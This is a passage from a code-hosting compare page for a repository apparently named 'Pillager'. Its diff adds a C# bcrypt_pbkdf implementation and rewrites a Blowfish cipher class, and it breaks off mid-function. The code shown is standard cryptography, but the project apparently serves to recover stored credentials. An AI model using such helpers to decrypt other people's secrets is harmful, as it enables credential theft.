qwqdanchun
/
Pillager
mirror of https://github.com/qwqdanchun/Pillager.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Compare commits

base: qwqdanchun:033f4cf258863c181c05c2ede3d14c0698b0feea
Branches Tags
qwqdanchun:main
qwqdanchun:AutoBuild
...
compare: qwqdanchun:01a23b98bfc3ad794b840ec3bccb935ea0ae10ae
Branches Tags
qwqdanchun:main
qwqdanchun:AutoBuild

2 Commits
033f4cf258 ... 01a23b98bf

Author SHA1 Message Date
簞純 01a23b98bf update 2024-02-11 17:21:48 +08:00
簞純 bceda5d7a5 update 2024-02-11 17:20:44 +08:00
8 changed files with 954 additions and 295 deletions
Show Stats Expand all files Collapse all files

143
Pillager/Helper/Bcrypt.cs Normal file
View File

@ -0,0 +1,143 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
namespace Pillager.Helper
{
internal class Bcrypt
{
private static readonly byte[] _bcryptCipherText = Encoding.ASCII.GetBytes("OxychromaticBlowfishSwatDynamite");
/// <summary>
/// bcrypt_hash
/// </summary>
/// <param name="blowfish">blowfish object to use</param>
/// <param name="sha2pass">SHA512 of password</param>
/// <param name="sha2salt">SHA512 of salt</param>
/// <returns></returns>
private byte[] BcryptHash(Blowfish blowfish, byte[] sha2pass, byte[] sha2salt)
{
// this code is based on OpenBSD's bcrypt_pbkdf.c
const int BLOCKSIZE = 8;
// key expansion
blowfish.InitializeState();
blowfish.ExpandState(sha2pass, sha2salt);
for (int i = 0; i < 64; ++i)
{
blowfish.ExpandState(sha2salt);
blowfish.ExpandState(sha2pass);
}
// encryption
byte[] cdata = (byte[])_bcryptCipherText.Clone();
for (int i = 0; i < 64; ++i)
{
for (int j = 0; j < 32; j += BLOCKSIZE)
{
blowfish.BlockEncrypt(cdata, j, cdata, j);
}
}
// copy out
for (int i = 0; i < 32; i += 4)
{
byte b0 = cdata[i + 0];
byte b1 = cdata[i + 1];
byte b2 = cdata[i + 2];
byte b3 = cdata[i + 3];
cdata[i + 3] = b0;
cdata[i + 2] = b1;
cdata[i + 1] = b2;
cdata[i + 0] = b3;
}
return cdata;
}
/// <summary>
/// bcrypt_pbkdf (pkcs #5 pbkdf2 implementation using the "bcrypt" hash)
/// </summary>
/// <param name="pass">password</param>
/// <param name="salt">salt</param>
/// <param name="rounds">rounds</param>
/// <param name="keylen">key length</param>
/// <returns>key</returns>
public byte[] BcryptPbkdf(string pass, byte[] salt, uint rounds, int keylen)
{
// this code is based on OpenBSD's bcrypt_pbkdf.c
if (rounds < 1)
{
return null;
}
if (salt.Length == 0 || keylen <= 0 || keylen > 1024)
{
return null;
}
byte[] key = new byte[keylen];
int stride = (keylen + 32 - 1) / 32;
int amt = (keylen + stride - 1) / stride;
var blowfish = new Blowfish();
using (var sha512 = new SHA512CryptoServiceProvider())
{
// collapse password
byte[] passData = Encoding.UTF8.GetBytes(pass);
byte[] sha2pass = sha512.ComputeHash(passData);
// generate key, sizeof(out) at a time
byte[] countsalt = new byte[4];
for (int count = 1; keylen > 0; ++count)
{
countsalt[0] = (byte)(count >> 24);
countsalt[1] = (byte)(count >> 16);
countsalt[2] = (byte)(count >> 8);
countsalt[3] = (byte)(count);
// first round, salt is salt
sha512.Initialize();
sha512.TransformBlock(salt, 0, salt.Length, null, 0);
sha512.TransformFinalBlock(countsalt, 0, countsalt.Length);
byte[] sha2salt = sha512.Hash;
byte[] tmpout = BcryptHash(blowfish, sha2pass, sha2salt);
byte[] output = (byte[])tmpout.Clone();
for (uint r = rounds; r > 1; --r)
{
// subsequent rounds, salt is previous output
sha512.Initialize();
sha2salt = sha512.ComputeHash(tmpout);
tmpout = BcryptHash(blowfish, sha2pass, sha2salt);
for (int i = 0; i < output.Length; ++i)
{
output[i] ^= tmpout[i];
}
}
// pbkdf2 deviation: output the key material non-linearly.
amt = Math.Min(amt, keylen);
int k;
for (k = 0; k < amt; ++k)
{
int dest = k * stride + (count - 1);
if (dest >= key.Length)
{
break;
}
key[dest] = output[k];
}
keylen -= k;
}
}
return key;
}
}
}

887
Pillager/Helper/Blowfish.cs
View File

@ -2,311 +2,640 @@
namespace Pillager.Helper
{
class Blowfish
public class Blowfish
{
private readonly byte[] IV;
private readonly byte[] enc;
private readonly byte[] dec;
public enum Endian { Little, Big }
public static readonly int MinUserKeyLength = 1;
public static readonly int MaxUserKeyLength = 56;
public static readonly int BlockSize = 8;
private const int BLOCK_SIZE = 8; // bytes in a data-block
private static readonly uint[] OriginPBox = {
0x243F6A88, 0x85A308D3, 0x13198A2E, 0x03707344, 0xA4093822, 0x299F31D0,
0x082EFA98, 0xEC4E6C89, 0x452821E6, 0x38D01377, 0xBE5466CF, 0x34E90C6C,
0xC0AC29B7, 0xC97C50DD, 0x3F84D5B5, 0xB5470917, 0x9216D5D9, 0x8979FB1B
};
protected readonly uint[] S0;
protected readonly uint[] S1;
protected readonly uint[] S2;
protected readonly uint[] S3;
protected readonly uint[] P;
private static readonly uint[,] OriginSBox = {
{
0xD1310BA6, 0x98DFB5AC, 0x2FFD72DB, 0xD01ADFB7, 0xB8E1AFED, 0x6A267E96, 0xBA7C9045, 0xF12C7F99, 0x24A19947, 0xB3916CF7, 0x0801F2E2, 0x858EFC16, 0x636920D8, 0x71574E69, 0xA458FEA3, 0xF4933D7E,
0x0D95748F, 0x728EB658, 0x718BCD58, 0x82154AEE, 0x7B54A41D, 0xC25A59B5, 0x9C30D539, 0x2AF26013, 0xC5D1B023, 0x286085F0, 0xCA417918, 0xB8DB38EF, 0x8E79DCB0, 0x603A180E, 0x6C9E0E8B, 0xB01E8A3E,
0xD71577C1, 0xBD314B27, 0x78AF2FDA, 0x55605C60, 0xE65525F3, 0xAA55AB94, 0x57489862, 0x63E81440, 0x55CA396A, 0x2AAB10B6, 0xB4CC5C34, 0x1141E8CE, 0xA15486AF, 0x7C72E993, 0xB3EE1411, 0x636FBC2A,
0x2BA9C55D, 0x741831F6, 0xCE5C3E16, 0x9B87931E, 0xAFD6BA33, 0x6C24CF5C, 0x7A325381, 0x28958677, 0x3B8F4898, 0x6B4BB9AF, 0xC4BFE81B, 0x66282193, 0x61D809CC, 0xFB21A991, 0x487CAC60, 0x5DEC8032,
0xEF845D5D, 0xE98575B1, 0xDC262302, 0xEB651B88, 0x23893E81, 0xD396ACC5, 0x0F6D6FF3, 0x83F44239, 0x2E0B4482, 0xA4842004, 0x69C8F04A, 0x9E1F9B5E, 0x21C66842, 0xF6E96C9A, 0x670C9C61, 0xABD388F0,
0x6A51A0D2, 0xD8542F68, 0x960FA728, 0xAB5133A3, 0x6EEF0B6C, 0x137A3BE4, 0xBA3BF050, 0x7EFB2A98, 0xA1F1651D, 0x39AF0176, 0x66CA593E, 0x82430E88, 0x8CEE8619, 0x456F9FB4, 0x7D84A5C3, 0x3B8B5EBE,
0xE06F75D8, 0x85C12073, 0x401A449F, 0x56C16AA6, 0x4ED3AA62, 0x363F7706, 0x1BFEDF72, 0x429B023D, 0x37D0D724, 0xD00A1248, 0xDB0FEAD3, 0x49F1C09B, 0x075372C9, 0x80991B7B, 0x25D479D8, 0xF6E8DEF7,
0xE3FE501A, 0xB6794C3B, 0x976CE0BD, 0x04C006BA, 0xC1A94FB6, 0x409F60C4, 0x5E5C9EC2, 0x196A2463, 0x68FB6FAF, 0x3E6C53B5, 0x1339B2EB, 0x3B52EC6F, 0x6DFC511F, 0x9B30952C, 0xCC814544, 0xAF5EBD09,
0xBEE3D004, 0xDE334AFD, 0x660F2807, 0x192E4BB3, 0xC0CBA857, 0x45C8740F, 0xD20B5F39, 0xB9D3FBDB, 0x5579C0BD, 0x1A60320A, 0xD6A100C6, 0x402C7279, 0x679F25FE, 0xFB1FA3CC, 0x8EA5E9F8, 0xDB3222F8,
0x3C7516DF, 0xFD616B15, 0x2F501EC8, 0xAD0552AB, 0x323DB5FA, 0xFD238760, 0x53317B48, 0x3E00DF82, 0x9E5C57BB, 0xCA6F8CA0, 0x1A87562E, 0xDF1769DB, 0xD542A8F6, 0x287EFFC3, 0xAC6732C6, 0x8C4F5573,
0x695B27B0, 0xBBCA58C8, 0xE1FFA35D, 0xB8F011A0, 0x10FA3D98, 0xFD2183B8, 0x4AFCB56C, 0x2DD1D35B, 0x9A53E479, 0xB6F84565, 0xD28E49BC, 0x4BFB9790, 0xE1DDF2DA, 0xA4CB7E33, 0x62FB1341, 0xCEE4C6E8,
0xEF20CADA, 0x36774C01, 0xD07E9EFE, 0x2BF11FB4, 0x95DBDA4D, 0xAE909198, 0xEAAD8E71, 0x6B93D5A0, 0xD08ED1D0, 0xAFC725E0, 0x8E3C5B2F, 0x8E7594B7, 0x8FF6E2FB, 0xF2122B64, 0x8888B812, 0x900DF01C,
0x4FAD5EA0, 0x688FC31C, 0xD1CFF191, 0xB3A8C1AD, 0x2F2F2218, 0xBE0E1777, 0xEA752DFE, 0x8B021FA1, 0xE5A0CC0F, 0xB56F74E8, 0x18ACF3D6, 0xCE89E299, 0xB4A84FE0, 0xFD13E0B7, 0x7CC43B81, 0xD2ADA8D9,
0x165FA266, 0x80957705, 0x93CC7314, 0x211A1477, 0xE6AD2065, 0x77B5FA86, 0xC75442F5, 0xFB9D35CF, 0xEBCDAF0C, 0x7B3E89A0, 0xD6411BD3, 0xAE1E7E49, 0x00250E2D, 0x2071B35E, 0x226800BB, 0x57B8E0AF,
0x2464369B, 0xF009B91E, 0x5563911D, 0x59DFA6AA, 0x78C14389, 0xD95A537F, 0x207D5BA2, 0x02E5B9C5, 0x83260376, 0x6295CFA9, 0x11C81968, 0x4E734A41, 0xB3472DCA, 0x7B14A94A, 0x1B510052, 0x9A532915,
0xD60F573F, 0xBC9BC6E4, 0x2B60A476, 0x81E67400, 0x08BA6FB5, 0x571BE91F, 0xF296EC6B, 0x2A0DD915, 0xB6636521, 0xE7B9F9B6, 0xFF34052E, 0xC5855664, 0x53B02D5D, 0xA99F8FA1, 0x08BA4799, 0x6E85076A
},
{
0x4B7A70E9, 0xB5B32944, 0xDB75092E, 0xC4192623, 0xAD6EA6B0, 0x49A7DF7D, 0x9CEE60B8, 0x8FEDB266, 0xECAA8C71, 0x699A17FF, 0x5664526C, 0xC2B19EE1, 0x193602A5, 0x75094C29, 0xA0591340, 0xE4183A3E,
0x3F54989A, 0x5B429D65, 0x6B8FE4D6, 0x99F73FD6, 0xA1D29C07, 0xEFE830F5, 0x4D2D38E6, 0xF0255DC1, 0x4CDD2086, 0x8470EB26, 0x6382E9C6, 0x021ECC5E, 0x09686B3F, 0x3EBAEFC9, 0x3C971814, 0x6B6A70A1,
0x687F3584, 0x52A0E286, 0xB79C5305, 0xAA500737, 0x3E07841C, 0x7FDEAE5C, 0x8E7D44EC, 0x5716F2B8, 0xB03ADA37, 0xF0500C0D, 0xF01C1F04, 0x0200B3FF, 0xAE0CF51A, 0x3CB574B2, 0x25837A58, 0xDC0921BD,
0xD19113F9, 0x7CA92FF6, 0x94324773, 0x22F54701, 0x3AE5E581, 0x37C2DADC, 0xC8B57634, 0x9AF3DDA7, 0xA9446146, 0x0FD0030E, 0xECC8C73E, 0xA4751E41, 0xE238CD99, 0x3BEA0E2F, 0x3280BBA1, 0x183EB331,
0x4E548B38, 0x4F6DB908, 0x6F420D03, 0xF60A04BF, 0x2CB81290, 0x24977C79, 0x5679B072, 0xBCAF89AF, 0xDE9A771F, 0xD9930810, 0xB38BAE12, 0xDCCF3F2E, 0x5512721F, 0x2E6B7124, 0x501ADDE6, 0x9F84CD87,
0x7A584718, 0x7408DA17, 0xBC9F9ABC, 0xE94B7D8C, 0xEC7AEC3A, 0xDB851DFA, 0x63094366, 0xC464C3D2, 0xEF1C1847, 0x3215D908, 0xDD433B37, 0x24C2BA16, 0x12A14D43, 0x2A65C451, 0x50940002, 0x133AE4DD,
0x71DFF89E, 0x10314E55, 0x81AC77D6, 0x5F11199B, 0x043556F1, 0xD7A3C76B, 0x3C11183B, 0x5924A509, 0xF28FE6ED, 0x97F1FBFA, 0x9EBABF2C, 0x1E153C6E, 0x86E34570, 0xEAE96FB1, 0x860E5E0A, 0x5A3E2AB3,
0x771FE71C, 0x4E3D06FA, 0x2965DCB9, 0x99E71D0F, 0x803E89D6, 0x5266C825, 0x2E4CC978, 0x9C10B36A, 0xC6150EBA, 0x94E2EA78, 0xA5FC3C53, 0x1E0A2DF4, 0xF2F74EA7, 0x361D2B3D, 0x1939260F, 0x19C27960,
0x5223A708, 0xF71312B6, 0xEBADFE6E, 0xEAC31F66, 0xE3BC4595, 0xA67BC883, 0xB17F37D1, 0x018CFF28, 0xC332DDEF, 0xBE6C5AA5, 0x65582185, 0x68AB9802, 0xEECEA50F, 0xDB2F953B, 0x2AEF7DAD, 0x5B6E2F84,
0x1521B628, 0x29076170, 0xECDD4775, 0x619F1510, 0x13CCA830, 0xEB61BD96, 0x0334FE1E, 0xAA0363CF, 0xB5735C90, 0x4C70A239, 0xD59E9E0B, 0xCBAADE14, 0xEECC86BC, 0x60622CA7, 0x9CAB5CAB, 0xB2F3846E,
0x648B1EAF, 0x19BDF0CA, 0xA02369B9, 0x655ABB50, 0x40685A32, 0x3C2AB4B3, 0x319EE9D5, 0xC021B8F7, 0x9B540B19, 0x875FA099, 0x95F7997E, 0x623D7DA8, 0xF837889A, 0x97E32D77, 0x11ED935F, 0x16681281,
0x0E358829, 0xC7E61FD6, 0x96DEDFA1, 0x7858BA99, 0x57F584A5, 0x1B227263, 0x9B83C3FF, 0x1AC24696, 0xCDB30AEB, 0x532E3054, 0x8FD948E4, 0x6DBC3128, 0x58EBF2EF, 0x34C6FFEA, 0xFE28ED61, 0xEE7C3C73,
0x5D4A14D9, 0xE864B7E3, 0x42105D14, 0x203E13E0, 0x45EEE2B6, 0xA3AAABEA, 0xDB6C4F15, 0xFACB4FD0, 0xC742F442, 0xEF6ABBB5, 0x654F3B1D, 0x41CD2105, 0xD81E799E, 0x86854DC7, 0xE44B476A, 0x3D816250,
0xCF62A1F2, 0x5B8D2646, 0xFC8883A0, 0xC1C7B6A3, 0x7F1524C3, 0x69CB7492, 0x47848A0B, 0x5692B285, 0x095BBF00, 0xAD19489D, 0x1462B174, 0x23820E00, 0x58428D2A, 0x0C55F5EA, 0x1DADF43E, 0x233F7061,
0x3372F092, 0x8D937E41, 0xD65FECF1, 0x6C223BDB, 0x7CDE3759, 0xCBEE7460, 0x4085F2A7, 0xCE77326E, 0xA6078084, 0x19F8509E, 0xE8EFD855, 0x61D99735, 0xA969A7AA, 0xC50C06C2, 0x5A04ABFC, 0x800BCADC,
0x9E447A2E, 0xC3453484, 0xFDD56705, 0x0E1E9EC9, 0xDB73DBD3, 0x105588CD, 0x675FDA79, 0xE3674340, 0xC5C43465, 0x713E38D8, 0x3D28F89E, 0xF16DFF20, 0x153E21E7, 0x8FB03D4A, 0xE6E39F2B, 0xDB83ADF7
},
{
0xE93D5A68, 0x948140F7, 0xF64C261C, 0x94692934, 0x411520F7, 0x7602D4F7, 0xBCF46B2E, 0xD4A20068, 0xD4082471, 0x3320F46A, 0x43B7D4B7, 0x500061AF, 0x1E39F62E, 0x97244546, 0x14214F74, 0xBF8B8840,
0x4D95FC1D, 0x96B591AF, 0x70F4DDD3, 0x66A02F45, 0xBFBC09EC, 0x03BD9785, 0x7FAC6DD0, 0x31CB8504, 0x96EB27B3, 0x55FD3941, 0xDA2547E6, 0xABCA0A9A, 0x28507825, 0x530429F4, 0x0A2C86DA, 0xE9B66DFB,
0x68DC1462, 0xD7486900, 0x680EC0A4, 0x27A18DEE, 0x4F3FFEA2, 0xE887AD8C, 0xB58CE006, 0x7AF4D6B6, 0xAACE1E7C, 0xD3375FEC, 0xCE78A399, 0x406B2A42, 0x20FE9E35, 0xD9F385B9, 0xEE39D7AB, 0x3B124E8B,
0x1DC9FAF7, 0x4B6D1856, 0x26A36631, 0xEAE397B2, 0x3A6EFA74, 0xDD5B4332, 0x6841E7F7, 0xCA7820FB, 0xFB0AF54E, 0xD8FEB397, 0x454056AC, 0xBA489527, 0x55533A3A, 0x20838D87, 0xFE6BA9B7, 0xD096954B,
0x55A867BC, 0xA1159A58, 0xCCA92963, 0x99E1DB33, 0xA62A4A56, 0x3F3125F9, 0x5EF47E1C, 0x9029317C, 0xFDF8E802, 0x04272F70, 0x80BB155C, 0x05282CE3, 0x95C11548, 0xE4C66D22, 0x48C1133F, 0xC70F86DC,
0x07F9C9EE, 0x41041F0F, 0x404779A4, 0x5D886E17, 0x325F51EB, 0xD59BC0D1, 0xF2BCC18F, 0x41113564, 0x257B7834, 0x602A9C60, 0xDFF8E8A3, 0x1F636C1B, 0x0E12B4C2, 0x02E1329E, 0xAF664FD1, 0xCAD18115,
0x6B2395E0, 0x333E92E1, 0x3B240B62, 0xEEBEB922, 0x85B2A20E, 0xE6BA0D99, 0xDE720C8C, 0x2DA2F728, 0xD0127845, 0x95B794FD, 0x647D0862, 0xE7CCF5F0, 0x5449A36F, 0x877D48FA, 0xC39DFD27, 0xF33E8D1E,
0x0A476341, 0x992EFF74, 0x3A6F6EAB, 0xF4F8FD37, 0xA812DC60, 0xA1EBDDF8, 0x991BE14C, 0xDB6E6B0D, 0xC67B5510, 0x6D672C37, 0x2765D43B, 0xDCD0E804, 0xF1290DC7, 0xCC00FFA3, 0xB5390F92, 0x690FED0B,
0x667B9FFB, 0xCEDB7D9C, 0xA091CF0B, 0xD9155EA3, 0xBB132F88, 0x515BAD24, 0x7B9479BF, 0x763BD6EB, 0x37392EB3, 0xCC115979, 0x8026E297, 0xF42E312D, 0x6842ADA7, 0xC66A2B3B, 0x12754CCC, 0x782EF11C,
0x6A124237, 0xB79251E7, 0x06A1BBE6, 0x4BFB6350, 0x1A6B1018, 0x11CAEDFA, 0x3D25BDD8, 0xE2E1C3C9, 0x44421659, 0x0A121386, 0xD90CEC6E, 0xD5ABEA2A, 0x64AF674E, 0xDA86A85F, 0xBEBFE988, 0x64E4C3FE,
0x9DBC8057, 0xF0F7C086, 0x60787BF8, 0x6003604D, 0xD1FD8346, 0xF6381FB0, 0x7745AE04, 0xD736FCCC, 0x83426B33, 0xF01EAB71, 0xB0804187, 0x3C005E5F, 0x77A057BE, 0xBDE8AE24, 0x55464299, 0xBF582E61,
0x4E58F48F, 0xF2DDFDA2, 0xF474EF38, 0x8789BDC2, 0x5366F9C3, 0xC8B38E74, 0xB475F255, 0x46FCD9B9, 0x7AEB2661, 0x8B1DDF84, 0x846A0E79, 0x915F95E2, 0x466E598E, 0x20B45770, 0x8CD55591, 0xC902DE4C,
0xB90BACE1, 0xBB8205D0, 0x11A86248, 0x7574A99E, 0xB77F19B6, 0xE0A9DC09, 0x662D09A1, 0xC4324633, 0xE85A1F02, 0x09F0BE8C, 0x4A99A025, 0x1D6EFE10, 0x1AB93D1D, 0x0BA5A4DF, 0xA186F20F, 0x2868F169,
0xDCB7DA83, 0x573906FE, 0xA1E2CE9B, 0x4FCD7F52, 0x50115E01, 0xA70683FA, 0xA002B5C4, 0x0DE6D027, 0x9AF88C27, 0x773F8641, 0xC3604C06, 0x61A806B5, 0xF0177A28, 0xC0F586E0, 0x006058AA, 0x30DC7D62,
0x11E69ED7, 0x2338EA63, 0x53C2DD94, 0xC2C21634, 0xBBCBEE56, 0x90BCB6DE, 0xEBFC7DA1, 0xCE591D76, 0x6F05E409, 0x4B7C0188, 0x39720A3D, 0x7C927C24, 0x86E3725F, 0x724D9DB9, 0x1AC15BB4, 0xD39EB8FC,
0xED545578, 0x08FCA5B5, 0xD83D7CD3, 0x4DAD0FC4, 0x1E50EF5E, 0xB161E6F8, 0xA28514D9, 0x6C51133C, 0x6FD5C7E7, 0x56E14EC4, 0x362ABFCE, 0xDDC6C837, 0xD79A3234, 0x92638212, 0x670EFA8E, 0x406000E0
},
{
0x3A39CE37, 0xD3FAF5CF, 0xABC27737, 0x5AC52D1B, 0x5CB0679E, 0x4FA33742, 0xD3822740, 0x99BC9BBE, 0xD5118E9D, 0xBF0F7315, 0xD62D1C7E, 0xC700C47B, 0xB78C1B6B, 0x21A19045, 0xB26EB1BE, 0x6A366EB4,
0x5748AB2F, 0xBC946E79, 0xC6A376D2, 0x6549C2C8, 0x530FF8EE, 0x468DDE7D, 0xD5730A1D, 0x4CD04DC6, 0x2939BBDB, 0xA9BA4650, 0xAC9526E8, 0xBE5EE304, 0xA1FAD5F0, 0x6A2D519A, 0x63EF8CE2, 0x9A86EE22,
0xC089C2B8, 0x43242EF6, 0xA51E03AA, 0x9CF2D0A4, 0x83C061BA, 0x9BE96A4D, 0x8FE51550, 0xBA645BD6, 0x2826A2F9, 0xA73A3AE1, 0x4BA99586, 0xEF5562E9, 0xC72FEFD3, 0xF752F7DA, 0x3F046F69, 0x77FA0A59,
0x80E4A915, 0x87B08601, 0x9B09E6AD, 0x3B3EE593, 0xE990FD5A, 0x9E34D797, 0x2CF0B7D9, 0x022B8B51, 0x96D5AC3A, 0x017DA67D, 0xD1CF3ED6, 0x7C7D2D28, 0x1F9F25CF, 0xADF2B89B, 0x5AD6B472, 0x5A88F54C,
0xE029AC71, 0xE019A5E6, 0x47B0ACFD, 0xED93FA9B, 0xE8D3C48D, 0x283B57CC, 0xF8D56629, 0x79132E28, 0x785F0191, 0xED756055, 0xF7960E44, 0xE3D35E8C, 0x15056DD4, 0x88F46DBA, 0x03A16125, 0x0564F0BD,
0xC3EB9E15, 0x3C9057A2, 0x97271AEC, 0xA93A072A, 0x1B3F6D9B, 0x1E6321F5, 0xF59C66FB, 0x26DCF319, 0x7533D928, 0xB155FDF5, 0x03563482, 0x8ABA3CBB, 0x28517711, 0xC20AD9F8, 0xABCC5167, 0xCCAD925F,
0x4DE81751, 0x3830DC8E, 0x379D5862, 0x9320F991, 0xEA7A90C2, 0xFB3E7BCE, 0x5121CE64, 0x774FBE32, 0xA8B6E37E, 0xC3293D46, 0x48DE5369, 0x6413E680, 0xA2AE0810, 0xDD6DB224, 0x69852DFD, 0x09072166,
0xB39A460A, 0x6445C0DD, 0x586CDECF, 0x1C20C8AE, 0x5BBEF7DD, 0x1B588D40, 0xCCD2017F, 0x6BB4E3BB, 0xDDA26A7E, 0x3A59FF45, 0x3E350A44, 0xBCB4CDD5, 0x72EACEA8, 0xFA6484BB, 0x8D6612AE, 0xBF3C6F47,
0xD29BE463, 0x542F5D9E, 0xAEC2771B, 0xF64E6370, 0x740E0D8D, 0xE75B1357, 0xF8721671, 0xAF537D5D, 0x4040CB08, 0x4EB4E2CC, 0x34D2466A, 0x0115AF84, 0xE1B00428, 0x95983A1D, 0x06B89FB4, 0xCE6EA048,
0x6F3F3B82, 0x3520AB82, 0x011A1D4B, 0x277227F8, 0x611560B1, 0xE7933FDC, 0xBB3A792B, 0x344525BD, 0xA08839E1, 0x51CE794B, 0x2F32C9B7, 0xA01FBAC9, 0xE01CC87E, 0xBCC7D1F6, 0xCF0111C3, 0xA1E8AAC7,
0x1A908749, 0xD44FBD9A, 0xD0DADECB, 0xD50ADA38, 0x0339C32A, 0xC6913667, 0x8DF9317C, 0xE0B12B4F, 0xF79E59B7, 0x43F5BB3A, 0xF2D519FF, 0x27D9459C, 0xBF97222C, 0x15E6FC2A, 0x0F91FC71, 0x9B941525,
0xFAE59361, 0xCEB69CEB, 0xC2A86459, 0x12BAA8D1, 0xB6C1075E, 0xE3056A0C, 0x10D25065, 0xCB03A442, 0xE0EC6E0E, 0x1698DB3B, 0x4C98A0BE, 0x3278E964, 0x9F1F9532, 0xE0D392DF, 0xD3A0342B, 0x8971F21E,
0x1B0A7441, 0x4BA3348C, 0xC5BE7120, 0xC37632D8, 0xDF359F8D, 0x9B992F2E, 0xE60B6F47, 0x0FE3F11D, 0xE54CDA54, 0x1EDAD891, 0xCE6279CF, 0xCD3E7E6F, 0x1618B166, 0xFD2C1D05, 0x848FD2C5, 0xF6FB2299,
0xF523F357, 0xA6327623, 0x93A83531, 0x56CCCD02, 0xACF08162, 0x5A75EBB5, 0x6E163697, 0x88D273CC, 0xDE966292, 0x81B949D0, 0x4C50901B, 0x71C65614, 0xE6C6C7BD, 0x327A140A, 0x45E1D006, 0xC3F27B9A,
0xC9AA53FD, 0x62A80F00, 0xBB25BFE2, 0x35BDD2F6, 0x71126905, 0xB2040222, 0xB6CBCF7C, 0xCD769C2B, 0x53113EC0, 0x1640E3D3, 0x38ABBD60, 0x2547ADF0, 0xBA38209C, 0xF746CE76, 0x77AFA1C5, 0x20756060,
0x85CBFE4E, 0x8AE88DD8, 0x7AAAF9B0, 0x4CF9AA7E, 0x1948C25C, 0x02FB8A8C, 0x01C36AE4, 0xD6EBE1F9, 0x90D4F869, 0xA65CDEA0, 0x3F09252D, 0xC208E69F, 0xB74E6132, 0xCE77E25B, 0x578FDFE3, 0x3AC372E6
}
};
private uint[] SubKey;
private uint[,] SBox;
private uint _F_Transform(uint x)
public Blowfish()
{
byte[] x_bytes = BitConverter.GetBytes(x);
if (BitConverter.IsLittleEndian == false)
Array.Reverse(x_bytes);
return ((SBox[0, x_bytes[3]] + SBox[1, x_bytes[2]]) ^ SBox[2, x_bytes[1]]) + SBox[3, x_bytes[0]];
S0 = new uint[256];
S1 = new uint[256];
S2 = new uint[256];
S3 = new uint[256];
P = new uint[18];
IV = new byte[8];
enc = new byte[8];
dec = new byte[8];
}
public void SetIV(byte[] newiv)
{
Array.Copy(newiv, 0, IV, 0, IV.Length);
}
public void Encrypt(byte[] srcBytes, Endian endian)
public void InitializeKey(byte[] key)
{
byte[] L_bytes = new byte[4];
byte[] R_bytes = new byte[4];
Array.Copy(srcBytes, 0, L_bytes, 0, 4);
Array.Copy(srcBytes, 4, R_bytes, 0, 4);
if (BitConverter.IsLittleEndian && endian == Endian.Big || BitConverter.IsLittleEndian == false && endian == Endian.Little)
{
Array.Reverse(L_bytes);
Array.Reverse(R_bytes);
}
uint L = BitConverter.ToUInt32(L_bytes, 0);
uint R = BitConverter.ToUInt32(R_bytes, 0);
L ^= SubKey[0];
R ^= _F_Transform(L);
R ^= SubKey[1];
L ^= _F_Transform(R);
L ^= SubKey[2];
R ^= _F_Transform(L);
R ^= SubKey[3];
L ^= _F_Transform(R);
L ^= SubKey[4];
R ^= _F_Transform(L);
R ^= SubKey[5];
L ^= _F_Transform(R);
L ^= SubKey[6];
R ^= _F_Transform(L);
R ^= SubKey[7];
L ^= _F_Transform(R);
L ^= SubKey[8];
R ^= _F_Transform(L);
R ^= SubKey[9];
L ^= _F_Transform(R);
L ^= SubKey[10];
R ^= _F_Transform(L);
R ^= SubKey[11];
L ^= _F_Transform(R);
L ^= SubKey[12];
R ^= _F_Transform(L);
R ^= SubKey[13];
L ^= _F_Transform(R);
L ^= SubKey[14];
R ^= _F_Transform(L);
R ^= SubKey[15];
L ^= _F_Transform(R);
L ^= SubKey[16];
R ^= SubKey[17];
L_bytes = BitConverter.GetBytes(R);
R_bytes = BitConverter.GetBytes(L);
if (BitConverter.IsLittleEndian && endian == Endian.Big || BitConverter.IsLittleEndian == false && endian == Endian.Little)
{
Array.Reverse(L_bytes);
Array.Reverse(R_bytes);
}
Array.Copy(L_bytes, 0, srcBytes, 0, 4);
Array.Copy(R_bytes, 0, srcBytes, 4, 4);
InitializeState();
ExpandState(key);
}
public void Decrypt(byte[] srcBytes, Endian endian)
internal static uint GetIntBE(byte[] src, int offset)
{
byte[] L_bytes = new byte[4];
byte[] R_bytes = new byte[4];
Array.Copy(srcBytes, 0, L_bytes, 0, 4);
Array.Copy(srcBytes, 4, R_bytes, 0, 4);
if (BitConverter.IsLittleEndian && endian == Endian.Big || BitConverter.IsLittleEndian == false && endian == Endian.Little)
{
Array.Reverse(L_bytes);
Array.Reverse(R_bytes);
}
uint L = BitConverter.ToUInt32(R_bytes, 0);
uint R = BitConverter.ToUInt32(L_bytes, 0);
L ^= SubKey[16];
R ^= SubKey[17];
L ^= _F_Transform(R);
R ^= SubKey[15];
R ^= _F_Transform(L);
L ^= SubKey[14];
L ^= _F_Transform(R);
R ^= SubKey[13];
R ^= _F_Transform(L);
L ^= SubKey[12];
L ^= _F_Transform(R);
R ^= SubKey[11];
R ^= _F_Transform(L);
L ^= SubKey[10];
L ^= _F_Transform(R);
R ^= SubKey[9];
R ^= _F_Transform(L);
L ^= SubKey[8];
L ^= _F_Transform(R);
R ^= SubKey[7];
R ^= _F_Transform(L);
L ^= SubKey[6];
L ^= _F_Transform(R);
R ^= SubKey[5];
R ^= _F_Transform(L);
L ^= SubKey[4];
L ^= _F_Transform(R);
R ^= SubKey[3];
R ^= _F_Transform(L);
L ^= SubKey[2];
L ^= _F_Transform(R);
R ^= SubKey[1];
R ^= _F_Transform(L);
L ^= SubKey[0];
L_bytes = BitConverter.GetBytes(L);
R_bytes = BitConverter.GetBytes(R);
if (BitConverter.IsLittleEndian && endian == Endian.Big || BitConverter.IsLittleEndian == false && endian == Endian.Little)
{
Array.Reverse(L_bytes);
Array.Reverse(R_bytes);
}
Array.Copy(L_bytes, 0, srcBytes, 0, 4);
Array.Copy(R_bytes, 0, srcBytes, 4, 4);
return (((uint)(src[offset]) << 24) |
((uint)(src[offset + 1]) << 16) |
((uint)(src[offset + 2]) << 8) |
((uint)src[offset + 3]));
}
public Blowfish(byte[] UserKey)
internal static void PutIntBE(uint val, byte[] dest, int offset)
{
if (UserKey.Length < MinUserKeyLength)
throw new ArgumentException("UserKey is too short.");
if (UserKey.Length > 56)
throw new ArgumentException("UserKey is too long.");
dest[offset] = (byte)((val >> 24) & 0xff);
dest[offset + 1] = (byte)((val >> 16) & 0xff);
dest[offset + 2] = (byte)((val >> 8) & 0xff);
dest[offset + 3] = (byte)(val & 0xff);
}
internal static void BlockXor(byte[] src, int s_offset, int len, byte[] dest, int d_offset)
{
for (; len > 0; len--)
